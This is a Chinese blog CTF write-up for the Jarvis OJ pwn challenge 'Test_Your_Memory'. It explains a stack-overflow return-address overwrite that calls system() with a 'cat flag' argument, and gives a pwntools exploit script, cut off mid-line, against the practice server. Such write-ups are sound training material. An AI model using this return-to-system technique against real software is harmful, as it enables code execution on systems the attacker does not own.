Jarvis OJ-PWN

最新推荐文章于 2021-07-03 16:14:25 发布

3nc0de

最新推荐文章于 2021-07-03 16:14:25 发布

阅读量255

点赞数

分类专栏： Jarvis OJ CTF

本文链接：https://blog.csdn.net/weixin_45461609/article/details/107883004

版权

本文介绍了一道名为Test_Your_Memory的题目，该题目通过修改返回地址来执行`system()`函数，从而实现`cat flag`命令。在解决此问题时，涉及了栈溢出、__stack_chk_fail函数的理解以及ELF文件的重映射概念。通过确定栈溢出后的填充长度，可以利用程序崩溃时的输出获取flag内容。

摘要由CSDN通过智能技术生成

pwn

Test_Your_Memory
smashes

Test_Your_Memory

题目名字和题目没啥关系，真·一点关系也没有。

提供了system()函数
在这里插入图片描述
并且在mem_test函数中的输出hint的地址，hint地址内容为cat flag。

所以只需要将返回地址改成system()所在的地址，并将hint的地址传给system就能执行cat flag命令。

from pwn import *
r=remote('pwn2.jarvisoj.com',9876)
e=ELF('./memory')
sys_addr=e.symbols['system']
cat_flag_addr=e.search('cat flag').next()

payload='a'*(0x13+4)+p32(sys_addr)+p32(0x8048677)+p32(cat_flag_addr)
r.recvuntil('cff